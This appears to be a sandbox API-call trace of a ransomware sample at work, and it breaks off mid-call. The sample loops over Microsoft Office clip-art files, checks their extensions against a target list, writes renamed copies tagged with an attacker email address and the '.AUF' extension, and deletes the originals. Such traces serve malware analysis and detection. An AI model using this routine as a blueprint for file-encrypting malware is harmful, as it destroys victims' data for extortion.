[0224.529] lstrlenW (lpString=".bz2") returned 4 [0224.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.529] lstrlenW (lpString=".7z") returned 3 [0224.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0224.529] lstrlenW (lpString=".dbf") returned 4 [0224.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0224.529] lstrlenW (lpString=".1cd") returned 4 [0224.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0224.529] lstrlenW (lpString=".jpg") returned 4 [0224.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.640] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.640] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.640] GetLastError () returned 0x0 [0224.640] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x31cc, lpOverlapped=0x0) returned 1 [0224.648] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x31d0, lpOverlapped=0x0) returned 1 [0224.649] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.649] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.649] SetEndOfFile (hFile=0x16c) returned 1 [0224.649] CloseHandle (hObject=0x16c) returned 1 [0224.649] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.649] SetEndOfFile (hFile=0x214) returned 1 [0224.650] CloseHandle (hObject=0x214) returned 1 [0224.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0224.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0224.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0224.651] lstrlenW (lpString=".doc") returned 4 [0224.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.651] lstrlenW (lpString=".docx") returned 5 [0224.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0224.651] lstrlenW (lpString=".pdf") returned 4 [0224.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.651] lstrlenW (lpString=".xls") returned 4 [0224.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.651] lstrlenW (lpString=".xlsx") returned 5 [0224.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0224.652] lstrlenW (lpString=".ppt") returned 4 [0224.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0224.652] lstrlenW (lpString=".zip") returned 4 [0224.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.652] lstrlenW (lpString=".rar") returned 4 [0224.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.652] lstrlenW (lpString=".bz2") returned 4 [0224.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.652] lstrlenW (lpString=".7z") returned 3 [0224.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0224.652] lstrlenW (lpString=".dbf") returned 4 [0224.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0224.652] lstrlenW (lpString=".1cd") returned 4 [0224.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0224.652] lstrlenW (lpString=".jpg") returned 4 [0224.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.652] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=21268) returned 1 [0224.652] CloseHandle (hObject=0x214) returned 1 [0224.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0224.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0224.653] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.653] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.654] GetLastError () returned 0x0 [0224.654] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5314, lpOverlapped=0x0) returned 1 [0224.665] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5320, lpOverlapped=0x0) returned 1 [0224.668] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.668] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.668] SetEndOfFile (hFile=0x16c) returned 1 [0224.669] CloseHandle (hObject=0x16c) returned 1 [0224.669] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.669] SetEndOfFile (hFile=0x214) returned 1 [0224.670] CloseHandle (hObject=0x214) returned 1 [0224.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0224.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0224.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0224.670] lstrlenW (lpString=".doc") returned 4 [0224.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.670] lstrlenW (lpString=".docx") returned 5 [0224.670] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0224.670] lstrlenW (lpString=".pdf") returned 4 [0224.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.670] lstrlenW (lpString=".xls") returned 4 [0224.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.670] lstrlenW (lpString=".xlsx") returned 5 [0224.671] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0224.671] lstrlenW (lpString=".ppt") returned 4 [0224.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0224.671] lstrlenW (lpString=".zip") returned 4 [0224.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.671] lstrlenW (lpString=".rar") returned 4 [0224.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.671] lstrlenW (lpString=".bz2") returned 4 [0224.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.671] lstrlenW (lpString=".7z") returned 3 [0224.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0224.671] lstrlenW (lpString=".dbf") returned 4 [0224.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0224.671] lstrlenW (lpString=".1cd") returned 4 [0224.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0224.671] lstrlenW (lpString=".jpg") returned 4 [0224.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.679] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.680] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.680] GetLastError () returned 0x0 [0224.680] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0224.897] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0224.898] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.898] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.898] SetEndOfFile (hFile=0x16c) returned 1 [0224.898] CloseHandle (hObject=0x16c) returned 1 [0224.898] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.898] SetEndOfFile (hFile=0x214) returned 1 [0224.899] CloseHandle (hObject=0x214) returned 1 [0224.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0224.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0224.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0224.899] lstrlenW (lpString=".doc") returned 4 [0224.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.899] lstrlenW (lpString=".docx") returned 5 [0224.899] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0224.899] lstrlenW (lpString=".pdf") returned 4 [0224.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.899] lstrlenW (lpString=".xls") returned 4 [0224.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.899] lstrlenW (lpString=".xlsx") returned 5 [0224.900] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0224.900] lstrlenW (lpString=".ppt") returned 4 [0224.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0224.900] lstrlenW (lpString=".zip") returned 4 [0224.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.900] lstrlenW (lpString=".rar") returned 4 [0224.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.900] lstrlenW (lpString=".bz2") returned 4 [0224.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.900] lstrlenW (lpString=".7z") returned 3 [0224.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0224.900] lstrlenW (lpString=".dbf") returned 4 [0224.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0224.900] lstrlenW (lpString=".1cd") returned 4 [0224.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0224.900] lstrlenW (lpString=".jpg") returned 4 [0224.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.900] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=26086) returned 1 [0224.900] CloseHandle (hObject=0x214) returned 1 [0224.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0224.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0224.901] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.901] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.901] GetLastError () returned 0x0 [0224.901] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x65e6, lpOverlapped=0x0) returned 1 [0224.930] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x65f0, lpOverlapped=0x0) returned 1 [0224.931] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.931] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.932] SetEndOfFile (hFile=0x16c) returned 1 [0224.932] CloseHandle (hObject=0x16c) returned 1 [0224.932] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.932] SetEndOfFile (hFile=0x214) returned 1 [0224.933] CloseHandle (hObject=0x214) returned 1 [0224.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0224.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0224.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0224.933] lstrlenW (lpString=".doc") returned 4 [0224.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.933] lstrlenW (lpString=".docx") returned 5 [0224.933] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0224.933] lstrlenW (lpString=".pdf") returned 4 [0224.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.933] lstrlenW (lpString=".xls") returned 4 [0224.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.933] lstrlenW (lpString=".xlsx") returned 5 [0224.933] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0224.933] lstrlenW (lpString=".ppt") returned 4 [0224.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0224.934] lstrlenW (lpString=".zip") returned 4 [0224.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.934] lstrlenW (lpString=".rar") returned 4 [0224.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.934] lstrlenW (lpString=".bz2") returned 4 [0224.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.934] lstrlenW (lpString=".7z") returned 3 [0224.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0224.934] lstrlenW (lpString=".dbf") returned 4 [0224.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0224.934] lstrlenW (lpString=".1cd") returned 4 [0224.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0224.934] lstrlenW (lpString=".jpg") returned 4 [0224.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.934] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=11694) returned 1 [0224.934] CloseHandle (hObject=0x214) returned 1 [0224.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0224.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0224.935] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.935] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.935] GetLastError () returned 0x0 [0224.935] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2dae, lpOverlapped=0x0) returned 1 [0224.958] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2db0, lpOverlapped=0x0) returned 1 [0224.959] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.959] WriteFile (in: hFile=0x16c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.959] SetEndOfFile (hFile=0x16c) returned 1 [0224.959] CloseHandle (hObject=0x16c) returned 1 [0224.959] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.959] SetEndOfFile (hFile=0x214) returned 1 [0224.960] CloseHandle (hObject=0x214) returned 1 [0224.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0224.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0224.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0224.960] lstrlenW (lpString=".doc") returned 4 [0224.960] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.960] lstrlenW (lpString=".docx") returned 5 [0224.960] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0224.960] 